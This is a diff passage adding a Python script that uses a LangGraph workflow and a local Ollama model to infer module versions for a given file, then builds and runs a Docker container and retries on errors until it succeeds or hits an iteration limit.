+        state["python_version"] = llm_eval.get("python_version", "3.8")
+        modules = llm_eval.get("python_modules", [])
+        
+        # Ensure modules is a list or dict with actual content
+        if isinstance(modules, list):
+            if not modules:
+                state["errors"].append({"type": "EvaluationError", "details": "No modules found in file"})
+                state["logs"].append("No modules detected in evaluation")
+                return state
+            state["python_modules"] = {mod: "" for mod in modules}
+        elif isinstance(modules, dict):
+            if not modules:
+                state["errors"].append({"type": "EvaluationError", "details": "No modules found in file"})
+                state["logs"].append("No modules detected in evaluation")
+                return state
+            state["python_modules"] = modules
+        else:
+            state["errors"].append({"type": "EvaluationError", "details": f"Unexpected modules type: {type(modules)}"})
+            state["logs"].append(f"Evaluation returned unexpected module type")
+            return state
+        
+        state["logs"].append("Evaluated file")
+    except Exception as e:
+        state["errors"].append({"type": "EvaluationError", "details": str(e)})
+        state["logs"].append(f"Evaluation failed: {e}")
+    return state
+
+def resolve_modules_node(state: PLLMState) -> PLLMState:
+    try:
+        if not state["python_modules"]:
+            state["errors"].append({"type": "ResolutionError", "details": "No modules to resolve"})
+            state["logs"].append("No modules to resolve")
+            return state
+        
+        python_deps = pypi.check_module_name(list(state["python_modules"].keys()))
+        if not python_deps:
+            state["errors"].append({"type": "ResolutionError", "details": "No valid modules after filtering"})
+            state["logs"].append("No valid modules after filtering")
+            return state
+        
+        state["python_modules"] = {mod: "" for mod in python_deps}
+
+        # Dynamic module version resolution using PyPIQuery + OllamaHelper
+        modules_list, state["python_version"] = cached_get_module_specifics({
+            "python_modules": list(state["python_modules"].keys()),
+            "python_version": state["python_version"]
+        })
+        state["python_modules"] = ollama_helper.get_module_versions({
+            "python_modules": modules_list,
+            "python_version": state["python_version"]
+        })
+
+        # Clean and sanitize module keys and versions
+        cleaned_modules = {}
+        for mod, ver in list(state["python_modules"].items()):
+            # Extract module name if version is in the key (e.g., "jsonschema==4.15.1" -> "jsonschema")
+            clean_mod = mod.split("==")[0].split(">=")[0].split("<=")[0].split("!=")[0].strip()
+            clean_ver = str(ver).strip() if ver else ""
+            
+            # Validate version format
+            if clean_ver and clean_ver.lower() != "none" and is_valid_version(clean_ver):
+                cleaned_modules[clean_mod] = clean_ver
+            else:
+                cleaned_modules[clean_mod] = ""
+        
+        state["python_modules"] = cleaned_modules
+
+        state["logs"].append("Modules resolved")
+    except Exception as e:
+        state["errors"].append({"type": "ResolutionError", "details": str(e)})
+    return state
+
+def validate_dependencies_node(state: PLLMState) -> PLLMState:
+    try:
+        if not state["python_modules"]:
+            state["errors"].append({
+                "type": "ValidationError",
+                "details": "No modules to validate"
+            })
+            state["build_success"] = False
+            return state
+        
+        invalid = [m for m, v in state["python_modules"].items() if not v or not is_valid_version(str(v))]
+        if invalid:
+            state["errors"].append({
+                "type": "ValidationError",
+                "details": f"Missing or invalid versions for {invalid}"
+            })
+            state["build_success"] = False
+        else:
+            state["logs"].append("Validation passed")
+    except Exception as e:
+        state["errors"].append({"type": "ValidationError", "details": str(e)})
+    return state
+
+def build_container_node(state: PLLMState) -> PLLMState:
+    try:
+        if is_repeated_failure(state):
+            state["logs"].append("Skipping repeated failure config")
+            state["build_success"] = False
+            return state
+
+        # Dynamic Dockerfile creation with resolved versions
+        docker_helper.create_dockerfile({
+            "python_version": state["python_version"],
+            "python_modules": state["python_modules"]
+        }, state["file_path"])
+
+        result = docker_helper.build_dockerfile(state["file_path"])
+        if result and isinstance(result, tuple):
+            success, _, error, error_type = result
+        else:
+            success, error, error_type = True, "", None
+
+        state["build_success"] = bool(success)
+        if not state["build_success"]:
+            state["errors"].append({"type": error_type or "BuildError", "details": error or "Unknown"})
+        else:
+            state["logs"].append("Docker build successful")
+    except Exception as e:
+        state["errors"].append({"type": "BuildError", "details": str(e)})
+    return state
+
+def run_container_node(state: PLLMState) -> PLLMState:
+    try:
+        output = docker_helper.run_container_test()
+        error_type, details = ollama_helper.process_error(
+            output, state["errors"],
+            {"python_modules": state["python_modules"], "python_version": state["python_version"]}
+        )
+        state["run_success"] = error_type is None or error_type == "None"
+        if not state["run_success"]:
+            state["errors"].append({"type": error_type, "details": details})
+    except Exception as e:
+        state["errors"].append({"type": "RunError", "details": str(e)})
+    return state
+
+def handle_error_node(state: PLLMState) -> PLLMState:
+    if state["iteration"] >= state["max_iterations"]:
+        return state
+    if len(state["errors"]) == state.get("last_error_count", -1):
+        state["logs"].append("No progress, stopping early")
+        state["iteration"] = state["max_iterations"]
+        return state
+    state["last_error_count"] = len(state["errors"])
+    if not state["errors"]:
+        return state
+
+    last_error = state["errors"][-1]
+    error_type = last_error.get("type", "Unknown")
+    module = last_error.get("module")
+    current_signature = {"modules": state["python_modules"].copy(), "python_version": state.get("python_version")}
+    if current_signature in state.get("attempted_fixes", []):
+        state["logs"].append("Repeated state detected → resetting versions")
+        for mod in state["python_modules"]:
+            state["python_modules"][mod] = ""
+        state["iteration"] += 1
+        state["errors"] = []
+        return state
+
+    state.setdefault("attempted_fixes", []).append(current_signature)
+
+    if error_type in ["ImportError", "ModuleNotFound", "AttributeError"]:
+        if module and module in state["python_modules"]:
+            state["logs"].append(f"Removing problematic module: {module}")
+            state["python_modules"].pop(module, None)
+    elif error_type in ["VersionNotFound", "DependencyConflict"]:
+        if "django" in last_error.get("details", ""):
+            state["logs"].append("Upgrading Python version to 3.8 due to Django compatibility requirements")
+            state["python_version"] = "3.8"
+            # Reset versions to re-resolve with new Python version
+            for mod in state["python_modules"]:
+                state["python_modules"][mod] = ""
+        else:
+            state["logs"].append("Resetting all module versions")
+            for mod in state["python_modules"]:
+                state["python_modules"][mod] = ""
+    elif error_type in ["SyntaxError", "NameError"]:
+        state["logs"].append("Code-level error detected → stopping")
+        state["iteration"] = state["max_iterations"]
+        return state
+    elif error_type == "BuildError" and "django" in last_error.get("details", ""):
+        state["logs"].append("Upgrading Python version to 3.8 due to Django compatibility requirements")
+        state["python_version"] = "3.8"
+        # Reset versions to re-resolve with new Python version
+        for mod in state["python_modules"]:
+            state["python_modules"][mod] = ""
+    elif error_type == "BuildError" and "Ignored the following versions that require a different python version" in last_error.get("details", ""):
+        import re
+        match = re.search(r'Requires-Python\s*([><=]+)\s*(\d+\.\d+)', last_error["details"])
+        if match:
+            op, ver = match.groups()
+            current_minor = float(state["python_version"].split('.')[-1])
+            required_minor = float(ver.split('.')[-1])
+            if op == ">=" and required_minor > current_minor:
+                new_ver = f"3.{int(required_minor)}"
+                state["logs"].append(f"Upgrading Python version to {new_ver} due to module requirements")
+                state["python_version"] = new_ver
+                # Reset versions to re-resolve with new Python version
+                for mod in state["python_modules"]:
+                    state["python_modules"][mod] = ""
+            else:
+                state["logs"].append("Python version requirement detected but not upgraded")
+        else:
+            state["logs"].append("Could not parse required Python version from error")
+    else:
+        state["logs"].append(f"Fallback reset for error: {error_type}")
+        for mod in state["python_modules"]:
+            state["python_modules"][mod] = ""
+
+    state["iteration"] += 1
+    state["errors"] = []
+    return state
+
+def log_results_node(state: PLLMState) -> PLLMState:
+    total_time = time.time() - state["start_time"]
+    print("\n----- FINAL LOGS ------")
+    print("\n".join(state["logs"]))
+    print(f"\nTime: {total_time:.2f}s | Iterations: {state['iteration']} | Success: {state['run_success']}")
+    return state
+
+# ----------- GRAPH ----------
+def create_pllm_graph():
+    graph = StateGraph(PLLMState)
+    graph.add_node("evaluate", evaluate_file_node)
+    graph.add_node("resolve", resolve_modules_node)
+    graph.add_node("validate", validate_dependencies_node)
+    graph.add_node("build", build_container_node)
+    graph.add_node("run", run_container_node)
+    graph.add_node("handle_error", handle_error_node)
+    graph.add_node("log", log_results_node)
+
+    graph.set_entry_point("evaluate")
+    graph.add_edge("evaluate", "resolve")
+    graph.add_edge("resolve", "validate")
+    graph.add_conditional_edges(
+        "validate",
+        lambda state: "build" if not state["errors"] else "handle_error"
+    )
+    graph.add_conditional_edges(
+        "build",
+        lambda state: "run" if state["build_success"] else "handle_error"
+    )
+    graph.add_conditional_edges(
+        "run",
+        lambda state: "log" if state["run_success"] or state["iteration"] >= state["max_iterations"] else "handle_error"
+    )
+    graph.add_conditional_edges(
+        "handle_error",
+        lambda state: "log" if state["iteration"] >= state["max_iterations"] else "resolve"
+    )
+    graph.add_edge("log", END)
+    return graph.compile()
+
+# -------- MAIN ---------
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-f', '--file', required=True)
+    parser.add_argument('-b', '--base', default='http://localhost:11434')
+    parser.add_argument('-m', '--model', default='llama3.1:8b')
+    parser.add_argument('-l', '--loop', type=int, default=5)
+    parser.add_argument('-ra', '--rag', type=bool, default=True)
+    args = parser.parse_args()
+
+    target_dir = os.path.dirname(args.file) or os.getcwd()
+    candidate_base_modules = os.path.join(target_dir, "modules")
+    def safe_base_modules(path):
+        try:
+            os.makedirs(path, exist_ok=True)
+            return path
+        except PermissionError:
+            return None
+    base_modules = safe_base_modules(candidate_base_modules) or \
+                   safe_base_modules(os.path.join(os.getcwd(), "modules")) or \
+                   safe_base_modules(os.path.expanduser("~/.custom_pllm/modules"))
+    if base_modules is None:
+        raise PermissionError("No writable modules directory found.")
+
+    initial_state: PLLMState = {
+        "file_path": args.file,
+        "python_file": "",
+        "python_version": "3.8",
+        "python_modules": {},
+        "iteration": 0,
+        "max_iterations": args.loop,
+        "errors": [],
+        "build_success": False,
+        "run_success": False,
+        "logs": [],
+        "start_time": time.time(),
+        "base_modules": base_modules,
+        "rag": args.rag,
+        "model": args.model,
+        "base_url": args.base,
+        "failure_memory": [],
+        "attempted_fixes": [],
+        "last_error_count": -1
+    }
+
+    graph = create_pllm_graph()
+    graph.invoke(initial_state)
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file